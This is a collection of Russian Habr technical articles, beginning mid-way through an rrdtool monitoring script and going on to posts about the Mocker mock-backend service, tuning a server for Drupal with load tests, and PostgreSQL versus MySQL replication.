--font DEFAULT:8:/usr/share/fonts/truetype/ttf-dejavu/DejaVuSansMono.ttf \
DEF:a=/var/lib/collectd/rrd/kd-ast/interface-eth0/if_octets.rrd:tx:MAX \
DEF:b=/var/lib/collectd/rrd/kd-ast/interface-eth0/if_octets.rrd:rx:MAX \
DEF:c=/var/lib/collectd/rrd/kd-ast/interface-eth0/if_errors.rrd:tx:MAX \
AREA:a#4169E1:Tx \
LINE2:b#2cc320: \
AREA:b#54eb48:Rx \
LINE1:c#FF0000:Errors
### RAM
/usr/bin/rrdtool graph /var/www/monitor/memory.png \
-e now \
-s 'end - 6 hours' \
-S 60 \
--title 'MEMORY USAGE: 2Gb' \ # RAM
--vertical-label 'Mbyte' \
--imgformat PNG \
--slope-mode \
--lower-limit 0 \
--upper-limit 2000000000 \ # верхний лимит
--rigid \
-E \
-i \
--color SHADEA#FFFFFF \
--color SHADEB#FFFFFF \
--color BACK#CCCCCC \
-w 600 \
-h 150 \
--interlaced \
--font DEFAULT:8:/usr/share/fonts/truetype/ttf-dejavu/DejaVuSansMono.ttf \
DEF:a=/var/lib/collectd/rrd/kd-ast/memory/memory-buffered.rrd:value:MAX \ # пути до кольцевых БД
DEF:b=/var/lib/collectd/rrd/kd-ast/memory/memory-cached.rrd:value:MAX \
DEF:c=/var/lib/collectd/rrd/kd-ast/memory/memory-free.rrd:value:MAX \
DEF:d=/var/lib/collectd/rrd/kd-ast/memory/memory-used.rrd:value:MAX \
LINE1:a#6959CD:buffered \
AREA:b#00FF00:cache \
LINE2:c#006400: \
AREA:c#00CD66:free \
AREA:d#FF1493:used \
```
Добавим его в крон, для выполнения через каждую минуту:
`nano /etc/crontab`
`*/1 * * * * root /home/sysbes/Scripts/RRDtool/mon.sh > /dev/null 2>&1`
Cоздадим index.php с таким содержимым:
```
NOC
Визуализация системных ресурсов: kd-ast
---------------------------------------
``` | https://habr.com/ru/post/186942/ | null | ru | null |
# Разработка мобильного приложения без сервера
Очень часто при [разработке мобильных приложений](https://surf.ru/flutter/) (возможно с веб-приложениями та же проблема) разработчики попадают в ситуацию, когда бэкэнд не работает или не предоставляет нужных методов.
Такая ситуация может происходить по разным причинам. Однако, чаще всего на старте разработки, бэкэнд просто не написан и клиент начинает без него. В таком случае начало разработки затягивается на 2-4 месяца.
Иногда сервер просто отключился (упал), иногда не успевает выкатывать нужные методы, иногда есть проблемы с данными и т.п. Все эти проблемы привели нас к написанию небольшого сервиса Mocker, который позволяет подменить реальный бэкэнд.
**Как я к этому пришел**
Как я вообще к этому пришел? Заканчивался мой первый год работы в [Surf](https://surf.ru/) и меня поставили на новенький e-commerce проект. Менеджер сказал, что проект нужно сделать за 4 месяца, но бэкэнд команда (на стороне заказчика) начнет разработку только через 1.5 месяца. А мы за это время должны накидать уже много UI-фич.
Я предложил написать моковый бэкэнд (до того как стать iOS разработчиком я игрался с .NET в универе). Идея реализации была проста: нужно было по заданной спецификации написать методы-заглушки, которые бы брали данные из заранее подготовленных JSON-файлов. На том и порешили.
Через 2 недели я ушел в отпуск и задумался: «А чего бы мне не генерировать все это автоматически?». Так за 2 недели отпуска я написал подобие интерпретатора, который берет спецификацию APIBlueprint и генерит из нее .NET Web App (код на C#).
В итоге появилась первая версия этой штуки и мы жили на ней почти 2.5 месяца. Я не могу привести реальных цифр, насколько это нам помогло, но помню, как на ретроспективе говорили, что если бы не эта система, никакого релиза не было бы.
Сейчас, спустя несколько лет, я учел допущенные мной ошибки (а их было очень много) и полностью переписал инструмент.
Пользуясь случаем — большое спасибо коллегам, которые помогали обратной связью и советами. А также руководителям, которые терпели весь мой «инженерный произвол».
### Введение
Как правило, любое клиент-серверное приложение выглядит примерно вот так:
На каждый экран приходится как минимум 1 запрос (а часто больше). Переходя по экранам вглубь, нам нужно сделать все больше и больше запросов. Иногда мы даже не можем сделать переход, до тех пор пока сервер не скажет нам «Покажи кнопку». То есть мобильное приложение очень сильно завязано на сервер, не только во время своей непосредственной работы, но и на этапе разработки. Рассмотрим абстрактный цикл разработки продукта:
1. Сначала мы проектируем. Декомпозируем, описываем и обсуждаем.
2. Получив задачи и требования, начинаем разработку. Пишем код, верстаем и т.п.
3. После того, как мы что-то реализовали, готовится сборка, которая уходит на ручное тестирование, где работа приложения проверяется по разным кейсам.
4. Если у нас все нормально, и тестеры апрувят сборку, она уходит заказчику, который выполняет приемку.
Каждый из этих процессов очень важен. Особенно последний, так как заказчик должен понимать на каком этапе мы действительно находимся, а иногда ему нужно отчитываться о результатах перед руководством или инвесторами. Как правило, подобные отчеты происходят, в том числе, в формате демонстрации мобильного приложения. На моей практике был случай, когда заказчик демонстрировал буквально половину MVP, которая работала только на моках. Приложение на моках выглядит как настоящее и крякает как настоящее. Значит оно настоящее (:
Однако это розовая мечта. Давайте рассмотрим, что произойдет на самом деле, если у нас не будет сервера.
1. Процесс разработки будет проходить медленнее и болезненнее, так как сервисы мы написать нормально не можем, проверить все кейсы тоже не можем, приходится писать заглушки, которые потом нужно будет удалить.
2. После того, как мы с горем пополам сделали сборку, она попадает тестерам, которые смотрят на нее и не понимают что с ней делать. Проверить ничего нельзя, половина вообще не работает, потому что сервера нет. Как следствие — пропускают много багов: как логических, так и визуальных.
3. Ну а после «как смогли посмотрели», надо отдать сборку заказчику и тут начинается самое неприятное. Заказчик не может толком оценить работу, он видит 1-2 кейса из всех возможных и уж точно не может показать это своим инвесторам.
В общем, все идет по наклонной. И к сожалению, такие ситуации случаются почти всегда: иногда сервера нет пару месяцев, иногда пол года, иногда просто в процессе сервер сильно опаздывает или необходимо быстро проверить граничные случаи, которые воспроизвести с помощью манипуляций данными на реальном сервере практически невозможно.
Например, мы хотим проверить как поведет себя приложение если у пользователя платеж проходит дольше положенного срока. Воспроизвести такую ситуацию на сервере очень сложно (и долго) и нам надо делать это искусственно.
Таким образом, есть следующие проблемы:
1. Сервер отсутствует полностью. Из-за этого невозможно разрабатывать, проверять и презентовать.
2. Сервер не успевает, что мешает разрабатывать и может мешать тестировать.
3. Мы хотим тестировать граничные кейсы, а сервер не может этого позволить без долгих телодвижений.
4. Аффектит тестирование и угрожает презентации.
5. Сервер падает (однажды мы уже во время стабильной разработки лишились сервера на 3.5 дня).
Чтобы бороться с этими проблемами и был создан Mocker.
### Принцип работы
Mocker — небольшой веб-сервис, который где-то хостится, слушает трафик на каком-то определенном порту и умеет отвечать заранее заготовленными данными на конкретные сетевые запросы.
Последовательность следующая:
1. Клиент отправляет запрос.
2. Mocker получает запрос.
3. Mocker находит нужный мок.
4. Mocker возвращает нужный мок.
Если с пунктами 1,2 и 4 все понятно, то 3 вызывает вопросы.
Для того, чтобы понять, как сервис находит нужный клиенту мок, сначала рассмотрим структуру самого мока.
Мок — это файл с JSON-ом в следующем формате:
```
{
"url": "string",
"method": "string",
"statusCode": "number",
"response": "object",
"request": "object"
}
```
Разберем каждое поле отдельно.
#### url
Этот параметр используется для того, чтобы указать URL запроса, по которому обращается клиент.
Например, если мобильное приложение делает запрос на url `host.dom/path/to/endpoint`, то в поле `url` нам нужно написать `/path/to/endpoint`.
То есть это поле хранит **относительный путь до эндпоинта**.
Это поле должно быть отформатировано в формате url-template, то есть допускается использовать следующие форматы:
1. `/path/to/endpoint` — обычный url адрес. Во время получения запроса сервис будет сравнивать строки посимвольно.
2. `/path/to/endpoint/{number}` — url с path-паттерном. Мок с таким URL будет реагировать на любой запрос, который удовлетворяет этому шаблону.
3. `/path/to/endpoint/data?param={value}` — url c parameter-паттерном. Мок с таким url сработает на запрос, содержащий заданные параметры. При этом, если одного из параметров не будет в запросе, то он не будет соответствовать шаблону.
Таким образом, управляя URL параметрами можно явно определить, что на какой-то определенный url вернется какой-то определенный мок.
#### method
Это ожидаемый http method. Например `POST` или `GET`.
Строка обязательно должна содержать только заглавные буквы.
#### statusCode
Это код http статуса для ответа. То есть запросив этот мок, клиент получит ответ со статусом записанным в поле statusCode.
#### response
Это поле содержит JSON объект, который будет отправлен клиенту в теле ответа на его запрос.
#### request
Здесь записывается тело запроса, которые ожидается получить от клиента.Это будет использоваться для того, чтобы отдать нужный response в зависимости от тела запроса request. Например, если мы хотим менять ответы в зависимости от параметров запроса.
```
{
"url": "/auth",
"method": "POST",
"statusCode": 200,
"response": {
"token": "cbshbg52rebfzdghj123dsfsfasd"
},
"request": {
"login": "Tester",
"password": "Valid"
}
}
```
```
{
"url": "/auth",
"method": "POST",
"statusCode": 400,
"response": {
"message": "Bad credentials"
},
"request": {
"login": "Tester",
"password": "Invalid"
}
}
```
Если клиент отправит запрос с телом:
```
{
"login": "Tester",
"password": "Valid"
}
```
То в ответ он получит:
```
{
"token": "cbshbg52rebfzdghj123dsfsfasd"
}
```
А в случае, если мы хотим проверить, как будет работать приложение если пароль введен неверно, то отправится запрос с телом:
```
{
"login": "Tester",
"password": "Invalid"
}
```
То в ответ он получит:
```
{
"message": "Bad credentials"
}
```
И мы сможем проверить кейс с неверным паролем. И так для всех остальных кейсов.
А теперь разберемся как работает группировка и поиск нужного мока.
Для того, чтобы быстрее и проще искать нужный мок, сервер загружает все моки в память и нужным образом их группирует. На картинке выше продемонстрирован пример группировки.
Сервер объединяет разные моки по **url** и **method**. Это необходимо в том числе и для того, чтобы мы могли создать на один url много разных моков.
Например, мы хотим, чтобы постоянно дергая Pull-To-Refresh, приходили разные ответы и состояние экрана все время менялось (чтобы проверить все граничные кейсы).
Тогда мы можем создать много разных моков с одинаковыми параметрами **method** и **url**, а сервер будет возвращать их нам итеративно (по очереди).
Например, пусть у нас будут такие моки:
```
{
"url": "/products",
"method": "GET",
"statusCode": 200,
"response": {
"name": "product",
"currency": 1,
"value": 20
}
}
```
```
{
"url": "/products",
"method": "GET",
"statusCode": 200,
"response": {
"name": "gdshfjshhkfhsdgfhshdjgfhjkshdjkfsfgbjsfgskdf",
"currency": 5,
"value": 100000000000
}
}
```
```
{
"url": "/products",
"method": "GET",
"statusCode": 200,
"response": null
}
```
```
{
"url": "/products",
"method": "GET",
"statusCode": 400,
"response": null
}
```
Тогда, когда мы первый раз вызовем метод GET /products, то сначала получим в ответ:
```
{
"name": "product",
"currency": 1,
"value": 20
}
```
Когда вызовем второй раз — указатель итератора сместится на следующий элемент и нам вернется:
```
{
"name": "gdshfjshhkfhsdgfhshdjgfhjkshdjkfsfgbjsfgskdf",
"currency": 5,
"value": 100000000000
}
```
И мы сможем проверить как поведет себя приложение если мы получим какие-то большие значения. И так далее.
Ну, а когда мы дойдем до последнего элемента и еще раз вызовем метод, то нам вернется снова первый элемент, потому что итератор возвратится к первому элементу.
### Кэширующий прокси
Mocker умеет работать в режиме кэширующего прокси. Это означает, что когда сервис получает запрос от клиента, он достает из него адрес хоста, на котором расположен реальный сервер и схему (для определения протокола). Далее берет полученный запрос (со всеми его хедерами, так что если метод требует аутентификации, то ничего страшного, ваш `Authorization: Bearer ...` перенесется) и вырезает из него служебную информацию (тот самый `host` и `scheme`) и отправляет запрос на реальный сервер.
Получив ответ с 200-м кодом Mocker сохраняет ответ в моковый файл (да, вы потом можете его скопировать или поменять) и возвращает клиенту то, что он получил от реального сервера. Причем, он не просто сохраняет файл в случайное место, а организует файлы так, чтобы с ними можно было затем работать вручную Например, Mocker отправляет запрос по следующему URL: `hostname.dom/main/products/loans/info`. Тогда он создаст папку `hostname.dom`, затем внутри нее он создаст папку `main`, внутри нее папку `products`…
Чтобы моки не дублировались, название формируется на основе **http-метода** (GET, PUT...) и **хеша от тела ответа реального сервера**. В таком случае, если на конкретный ответ уже существует мок, то он просто перезапишется.
Эту фичу можно активировать индивидуально для каждого запроса. Для этого нужно добавить три хедера к запросу:
```
X-Mocker-Redirect-Is-On: "true",
X-Mocker-Redirect-Host: "hostaname.ex:1234",
X-Mocker-Redirect-Scheme: "http"
```
### Явное указание пути к мокам
Иногда хочется, чтобы Mocker возвращал только те моки, которые мы хотим, а не все которые есть в проекте.
Особенно актуально для тестировщиков. Им было бы удобно иметь какой-то заготовленный набор моков для каждого из тест-кейсов. И тогда, во время тестирования, QA просто выбирает нужную ему папку и спокойно работает, потому что больше нет шума из сторонних моков.
Сейчас такое возможно. Для того, чтобы включить эту функцию нужно использовать специальный хедер:
```
X-Mocker-Specific-Path: path
```
К примеру, пусть у Mocker-а в корне вот такая структура папок
```
root/
block_card_test_case/
mocks....
main_test_case/
blocked_test_case/
mocks...
```
Если необходимо прогнать тест-кейс о заблокированных картах, тогда
**`X-Mocker-Specific-Path: block_card_test_case`**
Если необходимо прогнать тест-кейс связанный с блокировкой главного экрана, тогда
**`X-Mocker-Specific-Path: main_test_case/blocked_test_case`**
### Интерфейс
Сначала мы работали с моками напрямую по по ssh, но с ростом числа моков и пользователей перешли на более удобный вариант. Сейчас мы используем CloudCommander.
В примере docker-compose, он связывается с контейнером Mocker-а.
Выглядит это примерно так:
Ну и бонусом идет web-редактор, который позволяет добавлять/изменять моки прямо из браузера.
Это также временное решение. В в планах уйти от работы с моками через файловую систему к какой-нибудь базе данных. И соответственно, управлять самими моками можно будет из GUI к этой DB.
### Развертывание
Для того, чтобы развернуть Mocker проще всего использовать Docker. К тому же, развернув сервис из докера, автоматически развернется web-интерфейс через который удобнее работать с моками. Файлы необходимые для развертывания через Docker лежат в репозитории.
Однако, если вас не устраивает этот вариант, можете самостоятельно собрать сервис из исходников. Для этого достаточно:
```
git clone https://github.com/LastSprint/mocker.git
cd mocker
go build .
```
Затем нужно написать конфиг файл ([пример](https://github.com/LastSprint/mocker/blob/master/docker/mocker/config.json)) и запустить сервис:
```
mocker config.json
```
### Известные проблемы
* После каждого нового файла надо делать `curl mockerhost.dom/update_models` для того, чтобы сервис прочел файлы заново. Я не нашел быстрый и элегантный способ обновлять его иначе
* Иногда CloudCommander багует (или я что-то не так сделал) и он не дает редактировать моки, которые были созданы через web-интерфейс. Лечится чисткой кэша у браузера.
* Сервис работает только с `application/json`. В планах поддержка `form-url-encoding`.
### Итог
Mocker— это web-сервис, который решает проблемы разработки клиент-серверных приложений в том случае, когда сервер по каким-то причинам не готов.
Сервис позволяет создавать множество разных моков на один URL, позволяет связать между собой Request и Response с помощью явного указания параметров в url, либо прямо с помощью задания ожидаемого тела запроса. У сервиса есть web-интерфейс, который сильно упрощает жизнь пользователям.
Каждый пользователь сервиса может самостоятельно добавить нужный endpoint и нужный ему запрос. При этом на клиенте, для того чтобы перейти на настоящий сервер, достаточно просто заменить константу с адресом хоста.
Я надеюсь, что это статья поможет людям, которые страдают от схожих проблем и, возможно, мы вместе будем трудиться над развитием этого инструмента.
[Репозиторий на GitHub](https://github.com/LastSprint/mocker). | https://habr.com/ru/post/477506/ | null | ru | null |
# Оптимизация сервера под Drupal с замером результатов
Сама по себе инструкция о том, где что подкрутить на сервере, чтобы Drupal стал работать быстрее, встречаются на просторах интернета в разной степени детализации. Однако все встречавшиеся мне статьи обладали небольшим изъяном: я не встречал каких-либо реальных замеров, сопутствовавших настройке. Как численно меняется скорость генерации страницы? Как меняется использование памяти? Что происходит при увеличении количества параллельных запросов? Давайте проведём эксперимент. Некоторые рекомендации, изложенные в статье, носят общий характер и могут быть полезны для других CMS.
#### Вместо предисловия
В основу данной статьи легла подборка материалов [Server tuning considerations](https://drupal.org/node/2601), размещённая на официальном сайте Drupal. Из неё отобрано то, что носит наиболее универсальный характер и может быть применимо к произвольному серверу, на котором планируется использование Drupal (в частности, секции, касающиеся настройки PHP и MySQL). Эта статья не охватывает вопросы тонкой настройки самой CMS.
#### Экспериментальная модель
Для проверки нагрузки был создан некий эталонный тяжёлый сайт. Для этого был использован Drupal 7 и несколько популярных модулей, в том числе Views и Pathauto. В один из типов материала было добавлено числовое поле, которое могло принимать значение от 1 до 10. С помощью функции генерации контента модуля Devel было создано около 10 тыс. страниц материала данного типа и от 0 до 15 комментариев к каждому посту.
Далее был создан и размещён на главной странице блок Views, выбирающий 100 случайных страниц, где поле принимало значение 5 (т.е., если верить теории вероятности, 100 из 1000 страниц) вместе с комментариями к ним. Критерий фильтрации Global: Random был использован, чтобы страница гарантированно генерировалась по-новой при каждой загрузке. На личном тестовом сервере время генерации такой страницы составляло примерно 10 секунд. Также при подготовке был поднят тестовый интернет-магазин на базе Commerce Kickstarter и сгенерировано около 5 тыс. товаров. Однако выяснилось, что Global: Random совершенно не дружит с Search API, а без рандомизации страница с 96 продуктами грузилась ощутимо быстрее, чем предыдущая тестовая страница. Потому замеры по быстродействию интернет-магазина не проводились. Тестовые сайты были перенесены на…
#### Экспериментальное оборудование
Для экспериментов я позаимствовал на несколько дней свежеустановленные [VPS Intel Xeon E3-1230 3.2GHz / 2-3 GB RAM / 30 GB SSD](http://ua-hosting.com.ua/vds.html) и [Intel Xeon E3-1230 / 8GB DDR3 / 4x1TB SATA2 / 100Mbps Unmetered](http://ua-hosting.com.ua/nl-servers.html) в Нидерландах (далее по тексту — VPS и Е3-1230 соответственно). На серверах были стандартно настроенные LAMP + Nginx. Основная часть замеров производилась утилитой [ab](http://httpd.apache.org/docs/2.2/programs/ab.html) с общим числом запросов 1000 и числом параллельных запросов от 10 до 50. По окончании также было запущено несколько тестов Loadimpact.
#### Данные «сырого» сервера
Первый замер был произведён до начала какой-либо оптимизации. Собственно, в этих замерах я остановился на 40 параллельных запросах. Полученные результаты выглядят примерно так:
На этом и последующих аналогичных графиках по оси X будет доля запросов, которые были обслужены за время, не превышающее соответствующего значения по оси Y.
Кроме того, интереса ради я запустил бесплатный тест Loadimpact, однако какой-либо ощутимой нагрузки он не создал.
#### Оптимизация PHP
Первое, что нужно сделать на сервере под Drupal, — выставить в php.ini значение memory\_limit хотя бы 256M. Как правило, этого совершенно достаточно для большинства сайтов. А вот 128M порой оказывается маловато. Впрочем, это нельзя назвать оптимизацией, это скорее жизненная необходимость.
Для ускорения работы сайтов на уровне PHP разработчики рекомендуют использовать различные кеширующие оптимизаторы. В других источниках чаще всего упоминается APC, потому к нему я и обратился. О том, как его поставить, можно почитать в [инструкции](http://www.php.net/manual/ru/apc.installation.php). Сейчас же нас интересуют ключевые параметры настройки. Собственно, основной параметр — размер сегмента памяти кеша, apc.shm\_size. Чем более грузная страница, чем больше различных файлов подключается при исполнении, тем больше должно быть значение. Например, тестовому сайту хватило 64M. А тестовый магазин при этом значении выдал ошибку:
```
[Mon Jan 13 21:41:46 2014] [error] [client 176.36.31.190] PHP Warning: Unknown: Unable to allocate memory for pool. in Unknown on line 0, referer: http://s2shop.1b1.info/products?page=2
```
Поднятие значения до 256M вмиг убрало эту проблему. По данным модуля Devel, при разовых просмотрах сайтов включение кеширования повлияло на такие параметры:
* в полтора-два раза сократилось время генерации страницы;
* сократилось пиковое потребление памяти с примерно 50-55 MB до 30-32 MB для тестового сайта и с примерно 65-70 MB до 30-32 MB для тестового магазина.
О том, как повлияло включение APC на результаты бомбления с помощью ab, будет сказано немного позже. По общедоступной публичной информации, замечательные результаты даёт использование php-fpm вместо Apache + mod\_php. Однако я пока не пробовал сравнивать эти две конфигурации.
#### Оптимизация MySQL
Один из самых простых способов оптимизировать MySQL — заменить my.cnf на my-huge.cnf. Этот файл рассчитан на системы с достаточным (2 Гб и выше) количеством оперативки и масштабным использованием MySQL. Помимо всего прочего, от стандартного конфига он отличается существенно большим размером буфера (key\_buffer\_size) и включением кеширования запросов (query\_cache\_size).
Общее изменение скорости отдачи при последовательном применении выглядит примерно так.
Е3-1230, 10 параллельных запросов
VPS, 10 параллельных запросов
Е3-1230, 30 параллельных запросов
VPS, 30 параллельных запросов
Как можно заметить, на VPS разрыв между неоптимизированным MySQL и оптимизированным заметнее, чем на E3-1230. Смею предположить, что это связано с использованием SSD дисков на VPS. Сейчас всё популярнее становятся конфигурации серверов, в которых базы данных выносятся на SSD. Учитывая, насколько существенно за последнее время они подешевели, такое решение не сильно бьёт по карману и во многих случаях позволяет заметно ускорить работу сайтов. Плюсом в пользу SSD, по моему мнению, являются и два следующих графика.
E3-1230, 50 параллельных запросов
VPS, 50 параллельных запросов
Как видим, на сервере с SATA дисками буферизация с кешированием очень быстро начинают захлёбываться. При этом на VPS с SSD дисками общая тенденция сохраняется. На VPS я попробовал ещё увеличить значения key\_buffer\_size и query\_cache\_size, благодаря чему получил незначительный, но стабильный прирост производительности (кривая MySQL 2). Впрочем, на этом этапе на обеих конфигурациях уже начинает захлёбываться процессор.
#### Тесты LoadImpact
Проведённые с помощью утилиты ab тесты показывают не реальную загрузку страниц сайта, а скорее качественное изменение производительности. Для каких-то более приближённых к жизни данных я провёл пару тестов с помощью [Loadimpact](http://loadimpact.com).
1. На главную страницу тестового сайта были натравлены до 100 SBU, примерно равномерно распределённых по 5 разным локациям (2 в США, 2 в Европе, 1 в Австралии). Суммарный график не позволяет увидеть, напрягла ли сервер эта нагрузка хоть сколько-нибудь.
Но возрастание нагрузки становится заметнее, если смотреть графики сугубо по европейским точкам, с которыми связность лучше.
При этом общий поток данных был близок к 90 Мбит/с. Хотелось догнать канал до полочки, но не осталось кредитов.
Нагрузка на процессор становится заметной, однако Load average не идёт ни в какое сравнение с тестами ab.
2. В заключение я склонировал обычный небольшой информационный СДЛ и натравил на него Loadimpact из 8 разных точек. Все точки тестирования обращались к разным страницам сайта. За 10 минут количество SBU также дошло до 100.
Отдача была весьма равномерной, без каких-либо явных замедлений.
При этом сервер этого теста практически не заметил.
#### Вместо заключения
Я рассмотрел влияние на скорость работы сайта всего двух существенных параметров, потому буду благодарен всем, кто сможет дать дополнительные полезные советы по затронутой теме. Кроме того, где-то дней 5 после публикации тестовые среды ещё будут оставаться живы, и если у Вас есть ещё какие-то рекомендации по оптимизации или предложения по тестированию, я постараюсь за этот период воплотить их в жизнь и добавить в статью. Призываю всех обмениваться собственным опытом оптимизации и своими хитростями. И спасибо, что терпеливо дочитали. | https://habr.com/ru/post/208986/ | null | ru | null |
# Памятка евангелиста PostgreSQL: репликанты против репликации
В продолжение серии публикаций «Памятка евангелиста PostgreSQL...» ([1](http://habrahabr.ru/post/268949/), [2](http://habrahabr.ru/post/269463/)) дорогая редакция снова выходит на связь, на этот раз с обещанным обзором механизмов репликации в PostgreSQL и MySQL. Главным поводом для написания послужила частая критика репликации MySQL. Как это часто бывает, типичная критика представляет из себя забористую смесь из правды, полуправды и *евангелизма*. Всё это многократно *реплицируется* разными людьми без особых попыток разобраться в услышанном. А поскольку это довольно обширная тема, я решил вынести разбор в отдельную публикацию.
Итак, в рамках *культурного обмена* и в преддверии HighLoad++, где наверняка будет как обычно много критики в адрес MySQL, рассмотрим механизмы репликации. Для начала немного скучных базовых вещей для тех, кто ещё не.
Типы репликации
===============
Репликация бывает логическая и физическая. Физическая представляет из себя описание изменений на уровне файлов данных (упрощенно: записать такие байты по такому-то смещению на такой-то странице). Логическая же описывает изменения на более высоком уровне без привязки к конкретному представлению данных на диске, и здесь возможны варианты. Можно описывать изменения в терминах строк таблиц, например оператор `UPDATE` может быть отражён в виде последовательности пар **(старые значения, новые значения)** для каждой изменённой строки. В MySQL такой тип называется row-based репликация. А можно просто записывать текст всех SQL запросов, модифицирующих данные. Такой тип в MySQL называется statement-based репликация.
Физическую репликацию часто называют бинарной (особенно в PostgreSQL сообществе), что неверно. Формат данных как логической, так и физической репликации может быть как текстовым (то есть человекочитаемым), так и бинарным (требующим обработки для чтения человеком). На практике все форматы как в MySQL, так и PostgreSQL бинарные. Очевидно, что в случае statement-based репликации в MySQL тексты запросов можно прочитать «невооружённым глазом», но вся служебная информация всё равно будет в бинарном виде. Поэтому и журнал, используемый в репликации, называется бинарным независимо от формата репликации.
Особенности логической репликации:
-----------------------------------
* **независимость от формата хранения данных:** мастер и слейв могут иметь разные представления данных на диске, разные архитектуры процессора, разные структуры таблиц (при условии совместимости схем), разные конфигурации и расположение файлов данных, разные движки хранения (для MySQL), разные версии сервера, да и вообще мастер и слейв могут быть разными СУБД (и такие решения для «кросс-платформенной» репликации существуют). Эти свойства используют часто, особенно в масштабных проектах. Например, в rolling schema upgrade.
* **доступность для чтения:** с каждого узла в репликации можно читать данные без всяких ограничений. С физической репликацией это не так просто (см. ниже)
* **возможность multi-source**: объединение изменений с разных мастеров на одном слейве. Пример использования: агрегация данных с нескольких шардов для построения статистики и отчётов. Та же Wikipedia использует multi-source именно для этих целей
* **возможность multi-master:** при любой топологии можно иметь более одного доступного на запись сервера, если это необходимо
* **частичная репликация:** возможность реплицировать только отдельные таблицы или схемы
* **компактность:** объём передаваемых по сети данных меньше. В отдельных случаях сильно меньше.
Особенности физической репликации:
-----------------------------------
* **проще в конфигурации и использовании:** Сама по себе задача побайтового зеркалирования одного сервера на другой гораздо проще логической репликации с её многочисленными сценариями использования и топологиями. Отсюда знаменитое «настроил и забыл» во всех холиворах «MySQL против PostgreSQL».
* **низкое потребление ресурсов:** Логическое репликация требует дополнительных ресурсов, потому что логическое описание изменений ещё нужно «перевести» в физическое, т.е. понять что конкретно и куда записывать на диск
* **требование 100% идентичности узлов:** физическая репликация возможна только между абсолютно одинаковыми серверами, вплоть до архитектуры процессора, путей к tablespace файлам, и т.д. Это часто может стать проблемой для масштабных кластеров репликации, т.к. изменение этих факторов влечёт полную остановку кластера.
* **никакой записи на слейве:** вытекает из предыдущего пункта. Даже временную таблицу создать нельзя.
* **чтение со слейва проблематично:** чтение со слейва возможно, но не без проблем. См. «Физическая репликация в PostgreSQL» ниже
* **ограниченность топологий:** никакие multi-source и multi-master невозможны. В лучшем случае каскадная репликация.
* **нет частичной репликации:** вытекает всё из того же требования 100% идентичности файлов данных
* **большие накладные расходы:** нужно передавать все изменения в файлах данных (операция с индексами, vacuum и прочую внутреннюю бухгалтерию). А значит нагрузка на сеть выше, чем при логической репликации. Но всё как обычно зависит от количества/типа индексов, нагрузки и прочих факторов.
А ещё репликация может быть синхронной, асинхронной и полусинхронной независимо от формата. Но этот факт имеет небольшое отношение к обсуждаемым здесь вещам, поэтому его оставим за скобками.
Физическая репликация в MySQL
=============================
Её как таковой нет, по крайней мере встроенной в сам сервер. На то есть архитектурные причины, но это не значит, что она невозможна в принципе. Oracle мог бы сравнительно небольшими усилиями реализовать физическую репликацию для InnoDB, а это уже покрыло бы потребности большинства пользователей. Более сложный подход потребовал бы создания некоторого API, реализовав который альтернативные движки могли бы поддерживать физическую репликацию, но я не думаю, что это когда-нибудь случится.
Но в некоторых случаях физическую репликацию можно реализовать внешними средствами, например с помощью [DRBD](https://en.wikipedia.org/wiki/Distributed_Replicated_Block_Device) или [аппаратных решений](https://fghaas.wordpress.com/2009/09/16/alternatives-to-drbd/). Плюсы и минусы такого подхода [обсуждались](https://www.percona.com/blog/2008/04/28/mysql-replication-vs-drbd-battles/) неоднократно и подробно.
В контексте сравнения с PostgreSQL нужно отметить, что использование DRBD и подобных решений для физической репликации MySQL больше всего похоже на warm standby в PostgreSQL. Но объём передаваемых по сети данных в DRBD будет выше, потому что DRBD работает на уровне блочного устройства, а значит реплицируются не только записи в REDO log (транзакционный журнал), но и запись в файлы данных и обновления метаинформации файловой системы.
Логическая репликация в MySQL
=============================
Эта тема и вызывает больше всего волнений. Причём бОльшая часть критики основана на докладе «Асинхронная репликация MySQL без цензуры или почему PostgreSQL завоюет мир» Олега Царёва [zabivator](https://habrahabr.ru/users/zabivator/), а также сопутствующей [статьи](http://habrahabr.ru/company/mailru/blog/248845/) на Хабре.
 Я бы не стал выделять один конкретный доклад, если бы мне не ссылались на него примерно в каждом десятом комментарии к предыдущим статьям. Поэтому приходится отвечать, но я бы хотел подчеркнуть, что идеальных докладов не бывает (у меня лично доклады получаются плохие), и вся критика направлена не на докладчика, а на технические неточности в докладе. Буду рад, если это поможет улучшить его будущие версии.
В целом в докладе довольно много технически неточных или просто неверных утверждений, часть из них я адресовал в [первой части памятки евангелиста](http://habrahabr.ru/post/268949/). Но я не хочу утонуть в мелочах, поэтому буду разбирать основные тезисы.
Итак, в MySQL логическая репликация представлена двумя подтипами: statement-based и row-based.
Statement-based — это самый наивный способ организовать репликацию («а давайте просто передавать на слейв SQL команды!»), именно поэтому она появилась в MySQL первой и это было очень давно. Она даже работает до тех пор, пока SQL команды строго детерминированы, т.е. приводят к одним и тем же изменениями независимо от времени выполнения, контекста, триггеров и т.д. Про это написаны тонны статей, я не буду здесь подробно останавливаться.
На мой взгляд, statement-based репликация — это хак и «legacy» в стиле MyISAM. Наверняка кто-то где-то ещё находит ей применение, но *по возможности избегайте этого*.
 Интересно, что о применении statement-based репликации рассказывает в своём докладе и Олег. Причина — row-based репликация генерировала бы терабайты информации в сутки. Что в общем логично, но как это согласуется с утверждением «PostgreSQL завоюет мир», если в PostgreSQL асинхронной statement-based репликации нет вообще? То есть и PostgreSQL бы генерировал терабайты обновлений в сутки, «бутылочным горлышком» вполне ожидаемо стали бы диск или сеть, и с завоеванием мира *пришлось бы подождать*.
Олег обращает внимание, что логическая репликация обычно CPU-bound, то есть упирается в процессор, а физическая — обычно I/O-bound, то есть упирается в сеть/диск. Я не совсем уверен в этом утверждении: CPU-bound нагрузка одним движением руки превращается в элегантную I/O bound как только активный набор данных перестаёт помещаться в память (типичная ситуация для того же Facebook, например). А вместе с этим нивелируется и бОльшая часть разницы между логической и физической репликацией. Но в целом я согласен: логическая репликация требует сравнительно больше ресурсов (и это её главный недостаток), а физическая меньше (и это практически единственное её преимущество).
Причин «тормозить» у репликации может быть много: это не только однопоточность или недостаток процессора, это может быть сеть, диск, неэффективные запросы, неадекватная конфигурация. Главный вред от доклада заключается в том, что он «гребёт всех под одну гребёнку», объясняя все проблемы некой «архитектурной ошибкой MySQL», и оставляя впечатление, что решения у этих проблем нет. Именно поэтому он был с радостью взят на вооружение евангелистами *всех мастей*. На самом деле я уверен, что 1) большая часть проблем имеет решение и 2) все эти проблемы существуют и в реализациях логической репликации для PostgreSQL, возможно даже в более тяжёлой форме (см. «Логическая репликация для PostgreSQL»).
